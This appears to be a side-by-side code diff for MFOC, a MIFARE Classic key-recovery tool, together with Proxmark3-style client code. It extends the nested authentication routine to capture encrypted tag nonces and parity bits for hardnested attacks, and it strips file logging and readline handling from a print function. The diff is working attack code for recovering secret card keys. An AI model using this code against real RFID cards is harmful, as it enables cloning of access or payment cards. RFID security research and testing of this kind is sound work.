if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
ERR("No success, maybe you should increase the probes"); ERR("No success, maybe you should increase the probes");
@ -917,7 +934,7 @@ get_rats_is_2k(mftag t, mfreader r)
} }
} }
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits)
{ {
struct Crypto1State *pcs; struct Crypto1State *pcs;
struct Crypto1State *revstate; struct Crypto1State *revstate;
@ -931,6 +948,12 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
if (mode == 'h') {
memset(Auth, 0, 4);
memset(AuthEnc, 0, 4);
}
uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
@ -946,6 +969,9 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
// Prepare AUTH command // Prepare AUTH command
Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B; Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B;
if (mode == 'h') {
Auth[1] = e_sector * 4; //block
}
iso14443a_crc_append(Auth, 2); iso14443a_crc_append(Auth, 2);
// fprintf(stdout, "\nAuth command:\t"); // fprintf(stdout, "\nAuth command:\t");
// print_hex(Auth, 4); // print_hex(Auth, 4);
@ -1179,16 +1205,16 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
if (mode == 'h') { if (mode == 'h') {
// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
Auth[1] = a_sector; Auth[1] = a_sector * 4; //block
iso14443a_crc_append(Auth, 2); iso14443a_crc_append(Auth, 2);
// Encryption of the Auth command, sending the Auth command // Encryption of the Auth command, sending the Auth command
for (i = 0; i < 4; i++) { for (i = 0; i < 4; i++) {
AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; AuthEnc[i] = crypto1_byte(pcs, 0, 0) ^ Auth[i];
// Encrypt the parity bits with the 4 plaintext bytes // Encrypt the parity bits with the 4 plaintext bytes
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
} }
if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof (Rx), RxPar) < 0) { if ((( res = nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof (Rx), RxPar)) < 0) || (res != 32)){
ERR("while requesting encrypted tag-nonce"); ERR("while requesting encrypted tag-nonce");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
@ -1204,7 +1230,8 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
pbits <<= 1; pbits <<= 1;
pbits |= p; pbits |= p;
} }
// num_acquired_nonces += add_nonce(NtEnc, pbits); *NtEncBytes = NtEnc;
*parBits = pbits;
} }

View File

@ -1,3 +1,8 @@
#ifndef MFOC_H__
#define MFOC_H__
#include <nfc/nfc-types.h>
#define MEM_CHUNK 10000 #define MEM_CHUNK 10000
#define TRY_KEYS 50 #define TRY_KEYS 50
@ -82,6 +87,10 @@ typedef struct {
} countKeys; } countKeys;
mftag t;
mfreader r;
void usage(FILE *stream, int errno); void usage(FILE *stream, int errno);
void mf_init(mfreader *r); void mf_init(mfreader *r);
void mf_configure(nfc_device *pdi); void mf_configure(nfc_device *pdi);
@ -90,7 +99,7 @@ int trailer_block(uint32_t block);
int find_exploit_sector(mftag t); int find_exploit_sector(mftag t);
void mf_anticollision(mftag t, mfreader r); void mf_anticollision(mftag t, mfreader r);
bool get_rats_is_2k(mftag t, mfreader r); bool get_rats_is_2k(mftag t, mfreader r);
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA); int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits);
uint32_t median(denonce d); uint32_t median(denonce d);
int compar_int(const void *a, const void *b); int compar_int(const void *a, const void *b);
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity); int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity);
@ -98,3 +107,6 @@ int compar_special_int(const void *a, const void *b);
countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size); countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size);
void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest); void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest);
long long unsigned int bytes_to_num(uint8_t *src, uint32_t len); long long unsigned int bytes_to_num(uint8_t *src, uint32_t len);
#endif

View File

@ -27,45 +27,15 @@ int GridOffset = 0;
bool GridLocked = false; bool GridLocked = false;
bool showDemod = true; bool showDemod = true;
static char *logfilename = "proxmark3.log";
#ifndef EXTERNAL_PRINTANDLOG #ifndef EXTERNAL_PRINTANDLOG
static pthread_mutex_t print_lock = PTHREAD_MUTEX_INITIALIZER; static pthread_mutex_t print_lock = PTHREAD_MUTEX_INITIALIZER;
void PrintAndLog(char *fmt, ...) { void PrintAndLog(char *fmt, ...) {
char *saved_line;
int saved_point;
va_list argptr, argptr2; va_list argptr, argptr2;
static FILE *logfile = NULL;
static int logging = 1;
// lock this section to avoid interlacing prints from different threads // lock this section to avoid interlacing prints from different threads
pthread_mutex_lock(&print_lock); pthread_mutex_lock(&print_lock);
if (logging && !logfile) {
logfile = fopen(logfilename, "a");
if (!logfile) {
fprintf(stderr, "Can't open logfile, logging disabled!\n");
logging = 0;
}
}
// If there is an incoming message from the hardware (eg: lf hid read) in
// the background (while the prompt is displayed and accepting user input),
// stash the prompt and bring it back later.
#ifdef RL_STATE_READCMD
// We are using GNU readline. libedit (OSX) doesn't support this flag.
int need_hack = (rl_readline_state & RL_STATE_READCMD) > 0;
if (need_hack) {
saved_point = rl_point;
saved_line = rl_copy_text(0, rl_end);
rl_save_prompt();
rl_replace_line("", 0);
rl_redisplay();
}
#endif
va_start(argptr, fmt); va_start(argptr, fmt);
va_copy(argptr2, argptr); va_copy(argptr2, argptr);
vprintf(fmt, argptr); vprintf(fmt, argptr);
@ -73,22 +43,6 @@ void PrintAndLog(char *fmt, ...) {
va_end(argptr); va_end(argptr);
printf("\n"); printf("\n");
#ifdef RL_STATE_READCMD
// We are using GNU readline. libedit (OSX) doesn't support this flag.
if (need_hack) {
rl_restore_prompt();
rl_replace_line(saved_line, 0);
rl_point = saved_point;
rl_redisplay();
free(saved_line);
}
#endif
if (logging && logfile) {
vfprintf(logfile, fmt, argptr2);
fprintf(logfile, "\n");
fflush(logfile);
}
va_end(argptr2); va_end(argptr2);
if (flushAfterWrite) //buzzy if (flushAfterWrite) //buzzy
@ -100,10 +54,6 @@ void PrintAndLog(char *fmt, ...) {
} }
#endif #endif
void SetLogFilename(char *fn) {
logfilename = fn;
}
void SetFlushAfterWrite(bool flush_after_write) { void SetFlushAfterWrite(bool flush_after_write) {
flushAfterWrite = flush_after_write; flushAfterWrite = flush_after_write;
} }

View File

@ -53,8 +53,6 @@ extern char *sprint_bin(const uint8_t * data, const size_t len);
extern char *sprint_bin_break(const uint8_t *data, const size_t len, const uint8_t breaks); extern char *sprint_bin_break(const uint8_t *data, const size_t len, const uint8_t breaks);
extern char *sprint_ascii_ex(const uint8_t *data, const size_t len, const size_t min_str_len); extern char *sprint_ascii_ex(const uint8_t *data, const size_t len, const size_t min_str_len);
extern void num_to_bytes(uint64_t n, size_t len, uint8_t* dest);
extern uint64_t bytes_to_num(uint8_t* src, size_t len);
extern void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest); extern void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest);
extern void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest); extern void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest);
extern char *printBits(size_t const size, void const * const ptr); extern char *printBits(size_t const size, void const * const ptr);